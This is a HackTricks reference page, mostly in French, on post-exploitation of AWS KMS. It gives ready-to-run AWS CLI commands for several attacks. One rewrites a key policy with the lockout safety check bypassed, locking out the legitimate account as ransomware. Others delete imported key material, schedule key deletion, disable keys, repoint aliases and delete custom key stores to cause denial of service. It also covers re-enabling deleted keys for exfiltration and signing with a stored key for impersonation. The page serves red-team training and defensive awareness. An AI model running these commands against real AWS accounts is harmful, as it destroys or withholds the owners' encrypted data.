AWS - KMS Post Exploitation

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

• Consultez les subscription plans!
• Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.

KMS

Pour plus d’informations, consultez :

AWS - KMS Enum

Chiffrer/Déchiffrer des données

fileb:// and file:// are URI schemes used in AWS CLI commands to specify the path to local files:

• fileb://: Lit le fichier en mode binaire, couramment utilisé pour les fichiers non textuels.
• file://: Lit le fichier en mode texte, typiquement utilisé pour des fichiers texte simples, des scripts, ou du JSON qui n’a pas d’exigences d’encodage particulières.

Tip

Notez que si vous voulez déchiffrer des données contenues dans un fichier, le fichier doit contenir les données binaires, pas des données encodées en base64. (fileb://)

• Utilisation d’une symétrique key

# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode

• Utilisation d’une clé asymmetric:

# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

Un attaquant disposant d’un accès privilégié à KMS peut modifier la KMS policy des clés et accorder à son compte l’accès à celles-ci, supprimant l’accès accordé au compte légitime.

Par la suite, les utilisateurs du compte légitime ne pourront plus accéder à aucune information de tout service chiffré avec ces clés, créant un ransomware simple mais efficace contre le compte.

Warning

Notez que AWS managed keys ne sont pas affectées par cette attaque ; seules les Customer managed keys le sont.

Notez également la nécessité d’utiliser le paramètre --bypass-policy-lockout-safety-check (l’absence de cette option dans la console web rend cette attaque possible uniquement depuis la CLI).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Caution

Notez que si vous changez cette policy et ne donnez l’accès qu’à un compte externe, et que depuis ce compte externe vous essayez de définir une nouvelle policy pour give the access back to original account, you won’t be able cause the Put Polocy action cannot be performed from a cross account.

KMS Ransomware générique

Il existe une autre façon d’exécuter un KMS Ransomware global, qui impliquerait les étapes suivantes :

• Créer une nouvelle key with a key material importée par l’attaquant
• Re-encrypt older data de la victime qui étaient chiffrées avec la version précédente en utilisant la nouvelle
• Delete the KMS key
• Désormais, seul l’attaquant, qui possède le key material original, pourra déchiffrer les données chiffrées

Suppression des clés via kms:DeleteImportedKeyMaterial

Avec l’autorisation kms:DeleteImportedKeyMaterial, un acteur peut supprimer le key material importé des CMKs ayant Origin=EXTERNAL (CMKs qui ont importé leur key material), les rendant incapables de déchiffrer les données. Cette action est destructive et irréversible sauf si du matériel compatible est réimporté, permettant à un attaquant de provoquer efficacement une perte de données de type ransomware en rendant l’information chiffrée définitivement inaccessible.

aws kms delete-imported-key-material --key-id <Key_ID>

Détruire les clés

En détruisant des clés, il est possible d’effectuer un DoS.

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Caution

Notez que AWS empêche désormais que les actions précédentes soient effectuées depuis un compte croisé :

Modifier ou supprimer Alias

Cette attaque supprime ou redirige les alias AWS KMS, rompant la résolution des clés et provoquant des échecs immédiats dans tous les services qui dépendent de ces alias, entraînant un déni de service. Avec des permissions telles que kms:DeleteAlias ou kms:UpdateAlias, un attaquant peut supprimer ou repointer des alias et perturber les opérations cryptographiques (p. ex., encrypt, describe). Tout service qui référence l’alias au lieu de l’ID de clé peut échouer jusqu’à ce que l’alias soit restauré ou correctement réaffecté.

# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>

# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>

Annuler la suppression de clé

Avec des permissions telles que kms:CancelKeyDeletion et kms:EnableKey, un acteur peut annuler une suppression programmée d’une AWS KMS customer master key et la réactiver par la suite. Cela permet de récupérer la clé (initialement en état Disabled) et de restaurer sa capacité à decrypt des données précédemment protégées, permettant l’exfiltration.

# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>

## Second enable the key
aws kms enable-key \
--key-id <Key_ID>

Désactiver la clé

Avec la permission kms:DisableKey, un acteur peut désactiver une Customer Master Key (CMK) AWS KMS, l’empêchant d’être utilisée pour le chiffrement ou le déchiffrement. Cela coupe l’accès pour tous les services qui dépendent de cette CMK et peut provoquer des perturbations immédiates ou un déni de service jusqu’à ce que la clé soit réactivée.

aws kms disable-key \
--key-id <key_id>

Derive Shared Secret

Avec l’autorisation kms:DeriveSharedSecret, un acteur peut utiliser une clé privée détenue par KMS ainsi qu’une clé publique fournie par l’utilisateur pour calculer un secret partagé ECDH.

aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>

Impersonation via kms:Sign

Avec la permission kms:Sign, un acteur peut utiliser une KMS-stored CMK pour signer cryptographiquement des données sans exposer la private key, produisant des signatures valides pouvant permettre l’impersonation ou autoriser des actions malveillantes.

aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW

DoS with Custom Key Stores

Avec des autorisations telles que kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore, ou kms:UpdateCustomKeyStore, un acteur peut modifier, déconnecter ou supprimer un AWS KMS Custom Key Store (CKS), rendant ses clés maîtresses inopérantes. Cela interrompt les opérations de chiffrement, déchiffrement et de signature pour tout service qui dépend de ces clés et peut provoquer un denial-of-service immédiat. Restreindre et surveiller ces autorisations est donc crucial.

aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

• Consultez les subscription plans!
• Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.